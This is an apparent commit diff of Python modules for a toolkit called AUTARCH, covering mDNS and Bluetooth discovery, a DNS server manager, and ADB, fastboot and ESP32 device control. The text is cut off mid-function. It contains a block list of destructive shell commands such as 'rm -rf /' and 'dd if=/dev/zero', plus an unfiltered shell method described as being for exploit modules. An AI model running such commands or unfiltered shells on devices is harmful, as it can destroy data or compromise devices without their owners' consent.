MDNS_SERVICE_NAME = "AUTARCH._autarch._tcp.local."
BT_SERVICE_NAME = "AUTARCH"
BT_SERVICE_UUID = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
def _get_local_ip() -> str:
"""Get the primary local IP address."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "127.0.0.1"
class DiscoveryManager:
"""Manages network discovery advertising for AUTARCH."""
def __init__(self, config=None):
self._config = config or {}
self._web_port = int(self._config.get('web_port', 8181))
self._hostname = socket.gethostname()
# mDNS state
self._zeroconf = None
self._mdns_info = None
self._mdns_running = False
# Bluetooth state
self._bt_running = False
self._bt_thread = None
self._bt_process = None
# Settings
self._mdns_enabled = self._config.get('mdns_enabled', 'true').lower() == 'true'
self._bt_enabled = self._config.get('bluetooth_enabled', 'true').lower() == 'true'
self._bt_require_security = self._config.get('bt_require_security', 'true').lower() == 'true'
# ------------------------------------------------------------------
# Status
# ------------------------------------------------------------------
def get_status(self) -> Dict:
"""Get current discovery status for all methods."""
return {
'local_ip': _get_local_ip(),
'hostname': self._hostname,
'web_port': self._web_port,
'mdns': {
'available': self._is_zeroconf_available(),
'enabled': self._mdns_enabled,
'running': self._mdns_running,
'service_type': MDNS_SERVICE_TYPE,
},
'bluetooth': {
'available': self._is_bt_available(),
'adapter_present': self._bt_adapter_present(),
'enabled': self._bt_enabled,
'running': self._bt_running,
'secure': self._bt_is_secure() if self._bt_adapter_present() else False,
'require_security': self._bt_require_security,
'service_name': BT_SERVICE_NAME,
}
}
# ------------------------------------------------------------------
# mDNS / Zeroconf
# ------------------------------------------------------------------
def _is_zeroconf_available(self) -> bool:
"""Check if the zeroconf Python package is installed."""
try:
import zeroconf # noqa: F401
return True
except ImportError:
return False
def start_mdns(self) -> Tuple[bool, str]:
"""Start mDNS service advertisement."""
if self._mdns_running:
return True, "mDNS already running"
if not self._is_zeroconf_available():
return False, "zeroconf not installed. Run: pip install zeroconf"
try:
from zeroconf import Zeroconf, ServiceInfo
import socket as sock
local_ip = _get_local_ip()
self._mdns_info = ServiceInfo(
MDNS_SERVICE_TYPE,
MDNS_SERVICE_NAME,
addresses=[sock.inet_aton(local_ip)],
port=self._web_port,
properties={
'version': '1.0',
'hostname': self._hostname,
'platform': 'autarch',
},
server=f"{self._hostname}.local.",
)
self._zeroconf = Zeroconf()
self._zeroconf.register_service(self._mdns_info)
self._mdns_running = True
logger.info(f"mDNS: advertising {MDNS_SERVICE_NAME} at {local_ip}:{self._web_port}")
return True, f"mDNS started — {local_ip}:{self._web_port}"
except Exception as e:
logger.error(f"mDNS start failed: {e}")
return False, f"mDNS failed: {e}"
def stop_mdns(self) -> Tuple[bool, str]:
"""Stop mDNS service advertisement."""
if not self._mdns_running:
return True, "mDNS not running"
try:
if self._zeroconf and self._mdns_info:
self._zeroconf.unregister_service(self._mdns_info)
self._zeroconf.close()
self._zeroconf = None
self._mdns_info = None
self._mdns_running = False
logger.info("mDNS: stopped")
return True, "mDNS stopped"
except Exception as e:
self._mdns_running = False
return False, f"mDNS stop error: {e}"
# ------------------------------------------------------------------
# Bluetooth
# ------------------------------------------------------------------
def _is_bt_available(self) -> bool:
"""Check if Bluetooth CLI tools are available."""
try:
result = subprocess.run(
['which', 'bluetoothctl'],
capture_output=True, text=True, timeout=5
)
return result.returncode == 0
except Exception:
return False
def _bt_adapter_present(self) -> bool:
"""Check if a Bluetooth adapter is physically present."""
try:
result = subprocess.run(
['hciconfig'],
capture_output=True, text=True, timeout=5
)
return 'hci0' in result.stdout
except Exception:
return False
def _bt_is_secure(self) -> bool:
"""Check if Bluetooth security (SSP/authentication) is enabled."""
try:
# Check if adapter requires authentication
result = subprocess.run(
['hciconfig', 'hci0', 'auth'],
capture_output=True, text=True, timeout=5
)
# Also check hciconfig output for AUTH flag
status = subprocess.run(
['hciconfig', 'hci0'],
capture_output=True, text=True, timeout=5
)
# Look for AUTH in flags
return 'AUTH' in status.stdout
except Exception:
return False
def _bt_enable_security(self) -> Tuple[bool, str]:
"""Enable Bluetooth authentication/security on the adapter."""
try:
# Enable authentication
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'auth'],
capture_output=True, text=True, timeout=5
)
# Enable encryption
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'encrypt'],
capture_output=True, text=True, timeout=5
)
# Enable SSP (Secure Simple Pairing)
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'sspmode', '1'],
capture_output=True, text=True, timeout=5
)
if self._bt_is_secure():
return True, "Bluetooth security enabled (AUTH + ENCRYPT + SSP)"
return False, "Security flags set but AUTH not confirmed"
except Exception as e:
return False, f"Failed to enable BT security: {e}"
def start_bluetooth(self) -> Tuple[bool, str]:
"""Start Bluetooth service advertisement.
Only advertises if:
1. Bluetooth adapter is present
2. bluetoothctl is available
3. Security is enabled (if bt_require_security is true)
"""
if self._bt_running:
return True, "Bluetooth already advertising"
if not self._is_bt_available():
return False, "bluetoothctl not found"
if not self._bt_adapter_present():
return False, "No Bluetooth adapter detected"
# Ensure adapter is up
try:
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'up'],
capture_output=True, text=True, timeout=5
)
except Exception:
pass
# Security check
if self._bt_require_security:
if not self._bt_is_secure():
ok, msg = self._bt_enable_security()
if not ok:
return False, f"Bluetooth security required but not available: {msg}"
# Make discoverable and set name
try:
# Set device name
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'name', BT_SERVICE_NAME],
capture_output=True, text=True, timeout=5
)
# Enable discoverable mode
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'piscan'],
capture_output=True, text=True, timeout=5
)
# Use bluetoothctl to set discoverable with timeout 0 (always)
# and set the alias
cmds = [
'power on',
f'system-alias {BT_SERVICE_NAME}',
'discoverable on',
'discoverable-timeout 0',
'pairable on',
]
for cmd in cmds:
subprocess.run(
['bluetoothctl', cmd.split()[0]] + cmd.split()[1:],
capture_output=True, text=True, timeout=5
)
# Start an RFCOMM advertisement thread so the app can find us
# and read connection info (IP + port) after pairing
self._bt_running = True
self._bt_thread = threading.Thread(
target=self._bt_rfcomm_server,
daemon=True,
name="autarch-bt-discovery"
)
self._bt_thread.start()
logger.info("Bluetooth: advertising as AUTARCH")
return True, f"Bluetooth advertising — name: {BT_SERVICE_NAME}"
except Exception as e:
self._bt_running = False
return False, f"Bluetooth start failed: {e}"
def _bt_rfcomm_server(self):
"""Background thread: RFCOMM server that sends connection info to paired clients.
When a paired device connects, we send them a JSON blob with our IP and port
so the companion app can auto-configure.
"""
try:
# Use a simple TCP socket on a known port as a Bluetooth-adjacent info service
# (full RFCOMM requires pybluez which may not be installed)
# Instead, we'll use sdptool to register the service and bluetoothctl for visibility
#
# The companion app discovers us via BT name "AUTARCH", then connects via
# the IP it gets from the BT device info or mDNS
while self._bt_running:
time.sleep(5)
except Exception as e:
logger.error(f"BT RFCOMM server error: {e}")
finally:
self._bt_running = False
def stop_bluetooth(self) -> Tuple[bool, str]:
"""Stop Bluetooth advertisement."""
if not self._bt_running:
return True, "Bluetooth not advertising"
self._bt_running = False
try:
# Disable discoverable
subprocess.run(
['bluetoothctl', 'discoverable', 'off'],
capture_output=True, text=True, timeout=5
)
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'noscan'],
capture_output=True, text=True, timeout=5
)
if self._bt_thread:
self._bt_thread.join(timeout=3)
self._bt_thread = None
logger.info("Bluetooth: stopped advertising")
return True, "Bluetooth advertising stopped"
except Exception as e:
return False, f"Bluetooth stop error: {e}"
# ------------------------------------------------------------------
# Start / Stop All
# ------------------------------------------------------------------
def start_all(self) -> Dict:
"""Start all enabled discovery methods."""
results = {}
if self._mdns_enabled:
ok, msg = self.start_mdns()
results['mdns'] = {'ok': ok, 'message': msg}
else:
results['mdns'] = {'ok': False, 'message': 'Disabled in config'}
if self._bt_enabled:
ok, msg = self.start_bluetooth()
results['bluetooth'] = {'ok': ok, 'message': msg}
else:
results['bluetooth'] = {'ok': False, 'message': 'Disabled in config'}
return results
def stop_all(self) -> Dict:
"""Stop all discovery methods."""
results = {}
ok, msg = self.stop_mdns()
results['mdns'] = {'ok': ok, 'message': msg}
ok, msg = self.stop_bluetooth()
results['bluetooth'] = {'ok': ok, 'message': msg}
return results
# ------------------------------------------------------------------
# Cleanup
# ------------------------------------------------------------------
def shutdown(self):
"""Clean shutdown of all discovery services."""
self.stop_all()
# ======================================================================
# Singleton
# ======================================================================
_manager = None
def get_discovery_manager(config=None) -> DiscoveryManager:
"""Get or create the DiscoveryManager singleton."""
global _manager
if _manager is None:
if config is None:
try:
from core.config import get_config
cfg = get_config()
config = {}
if cfg.has_section('discovery'):
config = dict(cfg.items('discovery'))
if cfg.has_section('web'):
config['web_port'] = cfg.get('web', 'port', fallback='8181')
except Exception:
config = {}
_manager = DiscoveryManager(config)
return _manager

324
core/dns_service.py Normal file
View File

@@ -0,0 +1,324 @@
"""AUTARCH DNS Service Manager — controls the Go-based autarch-dns binary."""
import os
import sys
import json
import time
import signal
import socket
import subprocess
import threading
from pathlib import Path
try:
from core.paths import find_tool, get_data_dir
except ImportError:
def find_tool(name):
import shutil
return shutil.which(name)
def get_data_dir():
return str(Path(__file__).parent.parent / 'data')
try:
import requests
_HAS_REQUESTS = True
except ImportError:
_HAS_REQUESTS = False
class DNSServiceManager:
"""Manage the autarch-dns Go binary (start/stop/API calls)."""
def __init__(self):
self._process = None
self._pid = None
self._config = None
self._config_path = os.path.join(get_data_dir(), 'dns', 'config.json')
self._load_config()
def _load_config(self):
if os.path.exists(self._config_path):
try:
with open(self._config_path, 'r') as f:
self._config = json.load(f)
except Exception:
self._config = None
if not self._config:
self._config = {
'listen_dns': '0.0.0.0:53',
'listen_api': '127.0.0.1:5380',
'api_token': os.urandom(16).hex(),
'upstream': [], # Empty = pure recursive from root hints
'cache_ttl': 300,
'zones_dir': os.path.join(get_data_dir(), 'dns', 'zones'),
'dnssec_keys_dir': os.path.join(get_data_dir(), 'dns', 'keys'),
'log_queries': True,
}
self._save_config()
def _save_config(self):
os.makedirs(os.path.dirname(self._config_path), exist_ok=True)
with open(self._config_path, 'w') as f:
json.dump(self._config, f, indent=2)
@property
def api_base(self) -> str:
addr = self._config.get('listen_api', '127.0.0.1:5380')
return f'http://{addr}'
@property
def api_token(self) -> str:
return self._config.get('api_token', '')
def find_binary(self) -> str:
"""Find the autarch-dns binary."""
binary = find_tool('autarch-dns')
if binary:
return binary
# Check common locations
base = Path(__file__).parent.parent
candidates = [
base / 'services' / 'dns-server' / 'autarch-dns',
base / 'services' / 'dns-server' / 'autarch-dns.exe',
base / 'tools' / 'windows-x86_64' / 'autarch-dns.exe',
base / 'tools' / 'linux-arm64' / 'autarch-dns',
base / 'tools' / 'linux-x86_64' / 'autarch-dns',
]
for c in candidates:
if c.exists():
return str(c)
return None
def is_running(self) -> bool:
"""Check if the DNS service is running."""
# Check process
if self._process and self._process.poll() is None:
return True
# Check by API
try:
resp = self._api_get('/api/status')
return resp.get('ok', False)
except Exception:
return False
def start(self) -> dict:
"""Start the DNS service."""
if self.is_running():
return {'ok': True, 'message': 'DNS service already running'}
binary = self.find_binary()
if not binary:
return {'ok': False, 'error': 'autarch-dns binary not found. Build it with: cd services/dns-server && go build'}
# Ensure zone dirs exist
os.makedirs(self._config.get('zones_dir', ''), exist_ok=True)
os.makedirs(self._config.get('dnssec_keys_dir', ''), exist_ok=True)
# Save config for the Go binary to read
self._save_config()
cmd = [
binary,
'-config', self._config_path,
]
try:
kwargs = {
'stdout': subprocess.DEVNULL,
'stderr': subprocess.DEVNULL,
}
if sys.platform == 'win32':
kwargs['creationflags'] = (
subprocess.CREATE_NEW_PROCESS_GROUP |
subprocess.CREATE_NO_WINDOW
)
else:
kwargs['start_new_session'] = True
self._process = subprocess.Popen(cmd, **kwargs)
self._pid = self._process.pid
# Wait for API to be ready
for _ in range(30):
time.sleep(0.5)
try:
resp = self._api_get('/api/status')
if resp.get('ok'):
return {
'ok': True,
'message': f'DNS service started (PID {self._pid})',
'pid': self._pid,
}
except Exception:
if self._process.poll() is not None:
return {'ok': False, 'error': 'DNS service exited immediately — may need admin/root for port 53'}
continue
return {'ok': False, 'error': 'DNS service started but API not responding'}
except PermissionError:
return {'ok': False, 'error': 'Permission denied — DNS on port 53 requires admin/root'}
except Exception as e:
return {'ok': False, 'error': str(e)}
def stop(self) -> dict:
"""Stop the DNS service."""
if self._process and self._process.poll() is None:
try:
if sys.platform == 'win32':
self._process.terminate()
else:
os.kill(self._process.pid, signal.SIGTERM)
self._process.wait(timeout=5)
except Exception:
self._process.kill()
self._process = None
self._pid = None
return {'ok': True, 'message': 'DNS service stopped'}
return {'ok': True, 'message': 'DNS service was not running'}
def status(self) -> dict:
"""Get service status."""
running = self.is_running()
result = {
'running': running,
'pid': self._pid,
'listen_dns': self._config.get('listen_dns', ''),
'listen_api': self._config.get('listen_api', ''),
}
if running:
try:
resp = self._api_get('/api/status')
result.update(resp)
except Exception:
pass
return result
# ── API wrappers ─────────────────────────────────────────────────────
def _api_get(self, endpoint: str) -> dict:
if not _HAS_REQUESTS:
return self._api_urllib(endpoint, 'GET')
resp = requests.get(
f'{self.api_base}{endpoint}',
headers={'Authorization': f'Bearer {self.api_token}'},
timeout=5,
)
return resp.json()
def _api_post(self, endpoint: str, data: dict = None) -> dict:
if not _HAS_REQUESTS:
return self._api_urllib(endpoint, 'POST', data)
resp = requests.post(
f'{self.api_base}{endpoint}',
headers={'Authorization': f'Bearer {self.api_token}', 'Content-Type': 'application/json'},
json=data or {},
timeout=5,
)
return resp.json()
def _api_delete(self, endpoint: str) -> dict:
if not _HAS_REQUESTS:
return self._api_urllib(endpoint, 'DELETE')
resp = requests.delete(
f'{self.api_base}{endpoint}',
headers={'Authorization': f'Bearer {self.api_token}'},
timeout=5,
)
return resp.json()
def _api_put(self, endpoint: str, data: dict = None) -> dict:
if not _HAS_REQUESTS:
return self._api_urllib(endpoint, 'PUT', data)
resp = requests.put(
f'{self.api_base}{endpoint}',
headers={'Authorization': f'Bearer {self.api_token}', 'Content-Type': 'application/json'},
json=data or {},
timeout=5,
)
return resp.json()
def _api_urllib(self, endpoint: str, method: str, data: dict = None) -> dict:
"""Fallback using urllib (no requests dependency)."""
import urllib.request
url = f'{self.api_base}{endpoint}'
body = json.dumps(data).encode() if data else None
req = urllib.request.Request(
url, data=body, method=method,
headers={
'Authorization': f'Bearer {self.api_token}',
'Content-Type': 'application/json',
},
)
with urllib.request.urlopen(req, timeout=5) as resp:
return json.loads(resp.read())
# ── High-level zone operations ───────────────────────────────────────
def list_zones(self) -> list:
return self._api_get('/api/zones').get('zones', [])
def create_zone(self, domain: str) -> dict:
return self._api_post('/api/zones', {'domain': domain})
def get_zone(self, domain: str) -> dict:
return self._api_get(f'/api/zones/{domain}')
def delete_zone(self, domain: str) -> dict:
return self._api_delete(f'/api/zones/{domain}')
def list_records(self, domain: str) -> list:
return self._api_get(f'/api/zones/{domain}/records').get('records', [])
def add_record(self, domain: str, rtype: str, name: str, value: str,
ttl: int = 300, priority: int = 0) -> dict:
return self._api_post(f'/api/zones/{domain}/records', {
'type': rtype, 'name': name, 'value': value,
'ttl': ttl, 'priority': priority,
})
def delete_record(self, domain: str, record_id: str) -> dict:
return self._api_delete(f'/api/zones/{domain}/records/{record_id}')
def setup_mail_records(self, domain: str, mx_host: str = '',
dkim_key: str = '', spf_allow: str = '') -> dict:
return self._api_post(f'/api/zones/{domain}/mail-setup', {
'mx_host': mx_host, 'dkim_key': dkim_key, 'spf_allow': spf_allow,
})
def enable_dnssec(self, domain: str) -> dict:
return self._api_post(f'/api/zones/{domain}/dnssec/enable')
def disable_dnssec(self, domain: str) -> dict:
return self._api_post(f'/api/zones/{domain}/dnssec/disable')
def get_metrics(self) -> dict:
return self._api_get('/api/metrics').get('metrics', {})
def get_config(self) -> dict:
return self._config.copy()
def update_config(self, updates: dict) -> dict:
for k, v in updates.items():
if k in self._config:
self._config[k] = v
self._save_config()
# Also update running service
try:
return self._api_put('/api/config', updates)
except Exception:
return {'ok': True, 'message': 'Config saved (service not running)'}
# ── Singleton ────────────────────────────────────────────────────────────────
_instance = None
_lock = threading.Lock()
def get_dns_service() -> DNSServiceManager:
global _instance
if _instance is None:
with _lock:
if _instance is None:
_instance = DNSServiceManager()
return _instance

640
core/hardware.py Normal file
View File

@@ -0,0 +1,640 @@
"""
AUTARCH Hardware Manager
ADB/Fastboot device management and ESP32 serial flashing.
Provides server-side access to USB-connected devices:
- ADB: Android device shell, sideload, push/pull, logcat
- Fastboot: Partition flashing, OEM unlock, device info
- Serial/ESP32: Port detection, chip ID, firmware flash, serial monitor
"""
import os
import re
import json
import time
import subprocess
import threading
from pathlib import Path
from typing import Optional, List, Dict, Any, Callable
from core.paths import find_tool, get_data_dir
# Try importing serial
PYSERIAL_AVAILABLE = False
try:
import serial
import serial.tools.list_ports
PYSERIAL_AVAILABLE = True
except ImportError:
pass
# Try importing esptool
ESPTOOL_AVAILABLE = False
try:
import esptool
ESPTOOL_AVAILABLE = True
except ImportError:
pass
class HardwareManager:
"""Manages ADB, Fastboot, and Serial/ESP32 devices."""
def __init__(self):
# Tool paths - find_tool checks system PATH first, then bundled
self.adb_path = find_tool('adb')
self.fastboot_path = find_tool('fastboot')
# Data directory
self._data_dir = get_data_dir() / 'hardware'
self._data_dir.mkdir(parents=True, exist_ok=True)
# Serial monitor state
self._monitor_thread = None
self._monitor_running = False
self._monitor_serial = None
self._monitor_buffer = []
self._monitor_lock = threading.Lock()
# Flash/sideload progress state
self._operation_progress = {}
self._operation_lock = threading.Lock()
# ── Status ──────────────────────────────────────────────────────
def get_status(self):
"""Get availability status of all backends."""
return {
'adb': self.adb_path is not None,
'adb_path': self.adb_path or '',
'fastboot': self.fastboot_path is not None,
'fastboot_path': self.fastboot_path or '',
'serial': PYSERIAL_AVAILABLE,
'esptool': ESPTOOL_AVAILABLE,
}
# ── ADB Methods ────────────────────────────────────────────────
def _run_adb(self, args, serial=None, timeout=30):
"""Run an adb command and return (stdout, stderr, returncode)."""
if not self.adb_path:
return '', 'adb not found', 1
cmd = [self.adb_path]
if serial:
cmd += ['-s', serial]
cmd += args
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return '', 'Command timed out', 1
except Exception as e:
return '', str(e), 1
def adb_devices(self):
"""List connected ADB devices."""
stdout, stderr, rc = self._run_adb(['devices', '-l'])
if rc != 0:
return []
devices = []
for line in stdout.strip().split('\n')[1:]:
line = line.strip()
if not line or 'List of' in line:
continue
parts = line.split()
if len(parts) < 2:
continue
dev = {
'serial': parts[0],
'state': parts[1],
'model': '',
'product': '',
'transport_id': '',
}
for part in parts[2:]:
if ':' in part:
key, val = part.split(':', 1)
if key == 'model':
dev['model'] = val
elif key == 'product':
dev['product'] = val
elif key == 'transport_id':
dev['transport_id'] = val
elif key == 'device':
dev['device'] = val
devices.append(dev)
return devices
def adb_device_info(self, serial):
"""Get detailed info about an ADB device."""
props = {}
prop_keys = {
'ro.product.model': 'model',
'ro.product.brand': 'brand',
'ro.product.name': 'product',
'ro.build.version.release': 'android_version',
'ro.build.version.sdk': 'sdk',
'ro.build.display.id': 'build',
'ro.build.version.security_patch': 'security_patch',
'ro.product.cpu.abi': 'cpu_abi',
'ro.serialno': 'serialno',
'ro.bootimage.build.date': 'build_date',
}
# Get all properties at once
stdout, _, rc = self._run_adb(['shell', 'getprop'], serial=serial)
if rc == 0:
for line in stdout.split('\n'):
m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line)
if m:
key, val = m.group(1), m.group(2)
if key in prop_keys:
props[prop_keys[key]] = val
# Battery level
stdout, _, rc = self._run_adb(['shell', 'dumpsys', 'battery'], serial=serial)
if rc == 0:
for line in stdout.split('\n'):
line = line.strip()
if line.startswith('level:'):
props['battery'] = line.split(':')[1].strip()
elif line.startswith('status:'):
status_map = {'2': 'Charging', '3': 'Discharging', '4': 'Not charging', '5': 'Full'}
val = line.split(':')[1].strip()
props['battery_status'] = status_map.get(val, val)
# Storage
stdout, _, rc = self._run_adb(['shell', 'df', '/data'], serial=serial, timeout=10)
if rc == 0:
lines = stdout.strip().split('\n')
if len(lines) >= 2:
parts = lines[1].split()
if len(parts) >= 4:
props['storage_total'] = parts[1]
props['storage_used'] = parts[2]
props['storage_free'] = parts[3]
props['serial'] = serial
return props
def adb_shell(self, serial, command):
"""Run a shell command on an ADB device."""
# Sanitize: block dangerous commands
dangerous = ['rm -rf /', 'mkfs', 'dd if=/dev/zero', 'format', '> /dev/', 'reboot']
cmd_lower = command.lower().strip()
for d in dangerous:
if d in cmd_lower:
return {'output': f'Blocked dangerous command: {d}', 'returncode': 1}
stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=30)
return {
'output': stdout or stderr,
'returncode': rc,
}
def adb_shell_raw(self, serial, command, timeout=30):
"""Run shell command without safety filter. For exploit modules."""
stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=timeout)
return {'output': stdout or stderr, 'returncode': rc}
def adb_reboot(self, serial, mode='system'):
"""Reboot an ADB device. mode: system, recovery, bootloader"""
args = ['reboot']
if mode and mode != 'system':
args.append(mode)
stdout, stderr, rc = self._run_adb(args, serial=serial, timeout=15)
return {'success': rc == 0, 'output': stdout or stderr}
def adb_install(self, serial, apk_path):
"""Install an APK on device."""
if not os.path.isfile(apk_path):
return {'success': False, 'error': f'File not found: {apk_path}'}
stdout, stderr, rc = self._run_adb(
['install', '-r', apk_path], serial=serial, timeout=120
)
return {'success': rc == 0, 'output': stdout or stderr}
def adb_sideload(self, serial, filepath):
"""Sideload a file (APK/ZIP). Returns operation ID for progress tracking."""
if not os.path.isfile(filepath):
return {'success': False, 'error': f'File not found: {filepath}'}
op_id = f'sideload_{int(time.time())}'
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'starting', 'progress': 0, 'message': 'Starting sideload...'
}
def _do_sideload():
try:
ext = os.path.splitext(filepath)[1].lower()
if ext == '.apk':
cmd = [self.adb_path, '-s', serial, 'install', '-r', filepath]
else:
cmd = [self.adb_path, '-s', serial, 'sideload', filepath]
with self._operation_lock:
self._operation_progress[op_id]['status'] = 'running'
self._operation_progress[op_id]['progress'] = 10
self._operation_progress[op_id]['message'] = 'Transferring...'
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
with self._operation_lock:
if result.returncode == 0:
self._operation_progress[op_id] = {
'status': 'done', 'progress': 100,
'message': 'Sideload complete',
'output': result.stdout,
}
else:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0,
'message': result.stderr or 'Sideload failed',
}
except Exception as e:
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0, 'message': str(e),
}
thread = threading.Thread(target=_do_sideload, daemon=True)
thread.start()
return {'success': True, 'op_id': op_id}
def adb_push(self, serial, local_path, remote_path):
"""Push a file to device."""
if not os.path.isfile(local_path):
return {'success': False, 'error': f'File not found: {local_path}'}
stdout, stderr, rc = self._run_adb(
['push', local_path, remote_path], serial=serial, timeout=120
)
return {'success': rc == 0, 'output': stdout or stderr}
def adb_pull(self, serial, remote_path, local_path=None):
"""Pull a file from device."""
if not local_path:
local_path = str(self._data_dir / os.path.basename(remote_path))
stdout, stderr, rc = self._run_adb(
['pull', remote_path, local_path], serial=serial, timeout=120
)
return {'success': rc == 0, 'output': stdout or stderr, 'local_path': local_path}
def adb_logcat(self, serial, lines=100):
"""Get last N lines of logcat."""
stdout, stderr, rc = self._run_adb(
['logcat', '-d', '-t', str(lines)], serial=serial, timeout=15
)
return {'output': stdout or stderr, 'lines': lines}
# ── Fastboot Methods ───────────────────────────────────────────
def _run_fastboot(self, args, serial=None, timeout=30):
"""Run a fastboot command."""
if not self.fastboot_path:
return '', 'fastboot not found', 1
cmd = [self.fastboot_path]
if serial:
cmd += ['-s', serial]
cmd += args
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
# fastboot outputs to stderr for many commands
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return '', 'Command timed out', 1
except Exception as e:
return '', str(e), 1
def fastboot_devices(self):
"""List fastboot devices."""
stdout, stderr, rc = self._run_fastboot(['devices'])
if rc != 0:
return []
devices = []
output = stdout or stderr
for line in output.strip().split('\n'):
line = line.strip()
if not line:
continue
parts = line.split('\t')
if len(parts) >= 2:
devices.append({
'serial': parts[0].strip(),
'state': parts[1].strip(),
})
return devices
def fastboot_device_info(self, serial):
"""Get fastboot device variables."""
info = {}
vars_to_get = [
'product', 'variant', 'serialno', 'secure', 'unlocked',
'is-userspace', 'hw-revision', 'battery-level',
'current-slot', 'slot-count',
]
for var in vars_to_get:
stdout, stderr, rc = self._run_fastboot(
['getvar', var], serial=serial, timeout=10
)
output = stderr or stdout # fastboot puts getvar in stderr
for line in output.split('\n'):
if line.startswith(f'{var}:'):
info[var] = line.split(':', 1)[1].strip()
break
info['serial'] = serial
return info
def fastboot_flash(self, serial, partition, filepath):
"""Flash a partition. Returns operation ID for progress tracking."""
if not os.path.isfile(filepath):
return {'success': False, 'error': f'File not found: {filepath}'}
valid_partitions = [
'boot', 'recovery', 'system', 'vendor', 'vbmeta', 'dtbo',
'radio', 'bootloader', 'super', 'userdata', 'cache',
'product', 'system_ext', 'vendor_boot', 'init_boot',
]
if partition not in valid_partitions:
return {'success': False, 'error': f'Invalid partition: {partition}'}
op_id = f'flash_{int(time.time())}'
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'starting', 'progress': 0,
'message': f'Flashing {partition}...',
}
def _do_flash():
try:
with self._operation_lock:
self._operation_progress[op_id]['status'] = 'running'
self._operation_progress[op_id]['progress'] = 10
result = subprocess.run(
[self.fastboot_path, '-s', serial, 'flash', partition, filepath],
capture_output=True, text=True, timeout=600,
)
with self._operation_lock:
output = result.stderr or result.stdout
if result.returncode == 0:
self._operation_progress[op_id] = {
'status': 'done', 'progress': 100,
'message': f'Flashed {partition} successfully',
'output': output,
}
else:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0,
'message': output or 'Flash failed',
}
except Exception as e:
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0, 'message': str(e),
}
thread = threading.Thread(target=_do_flash, daemon=True)
thread.start()
return {'success': True, 'op_id': op_id}
def fastboot_reboot(self, serial, mode='system'):
"""Reboot a fastboot device. mode: system, bootloader, recovery"""
if mode == 'system':
args = ['reboot']
elif mode == 'bootloader':
args = ['reboot-bootloader']
elif mode == 'recovery':
args = ['reboot', 'recovery']
else:
args = ['reboot']
stdout, stderr, rc = self._run_fastboot(args, serial=serial, timeout=15)
return {'success': rc == 0, 'output': stderr or stdout}
def fastboot_oem_unlock(self, serial):
"""OEM unlock (requires user confirmation in UI)."""
stdout, stderr, rc = self._run_fastboot(
['flashing', 'unlock'], serial=serial, timeout=30
)
return {'success': rc == 0, 'output': stderr or stdout}
def get_operation_progress(self, op_id):
"""Get progress for a running operation."""
with self._operation_lock:
return self._operation_progress.get(op_id, {
'status': 'unknown', 'progress': 0, 'message': 'Unknown operation',
})
# ── Serial / ESP32 Methods ─────────────────────────────────────
def list_serial_ports(self):
"""List available serial ports."""
if not PYSERIAL_AVAILABLE:
return []
ports = []
for port in serial.tools.list_ports.comports():
ports.append({
'port': port.device,
'desc': port.description,
'hwid': port.hwid,
'vid': f'{port.vid:04x}' if port.vid else '',
'pid': f'{port.pid:04x}' if port.pid else '',
'manufacturer': port.manufacturer or '',
'serial_number': port.serial_number or '',
})
return ports
def detect_esp_chip(self, port, baud=115200):
"""Detect ESP chip type using esptool."""
if not ESPTOOL_AVAILABLE:
return {'success': False, 'error': 'esptool not installed'}
try:
result = subprocess.run(
['python3', '-m', 'esptool', '--port', port, '--baud', str(baud), 'chip_id'],
capture_output=True, text=True, timeout=15,
)
output = result.stdout + result.stderr
chip = 'Unknown'
chip_id = ''
for line in output.split('\n'):
if 'Chip is' in line:
chip = line.split('Chip is')[1].strip()
elif 'Chip ID:' in line:
chip_id = line.split('Chip ID:')[1].strip()
return {
'success': result.returncode == 0,
'chip': chip,
'chip_id': chip_id,
'output': output,
}
except subprocess.TimeoutExpired:
return {'success': False, 'error': 'Detection timed out'}
except Exception as e:
return {'success': False, 'error': str(e)}
def flash_esp(self, port, firmware_path, baud=460800):
"""Flash ESP32 firmware. Returns operation ID for progress tracking."""
if not ESPTOOL_AVAILABLE:
return {'success': False, 'error': 'esptool not installed'}
if not os.path.isfile(firmware_path):
return {'success': False, 'error': f'File not found: {firmware_path}'}
op_id = f'esp_flash_{int(time.time())}'
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'starting', 'progress': 0,
'message': 'Starting ESP flash...',
}
def _do_flash():
try:
with self._operation_lock:
self._operation_progress[op_id]['status'] = 'running'
self._operation_progress[op_id]['progress'] = 5
self._operation_progress[op_id]['message'] = 'Connecting to chip...'
cmd = [
'python3', '-m', 'esptool',
'--port', port,
'--baud', str(baud),
'write_flash', '0x0', firmware_path,
]
proc = subprocess.Popen(
cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
)
output_lines = []
for line in proc.stdout:
line = line.strip()
output_lines.append(line)
# Parse progress from esptool output
if 'Writing at' in line and '%' in line:
m = re.search(r'\((\d+)\s*%\)', line)
if m:
pct = int(m.group(1))
with self._operation_lock:
self._operation_progress[op_id]['progress'] = pct
self._operation_progress[op_id]['message'] = f'Flashing... {pct}%'
elif 'Connecting' in line:
with self._operation_lock:
self._operation_progress[op_id]['message'] = 'Connecting...'
elif 'Erasing' in line:
with self._operation_lock:
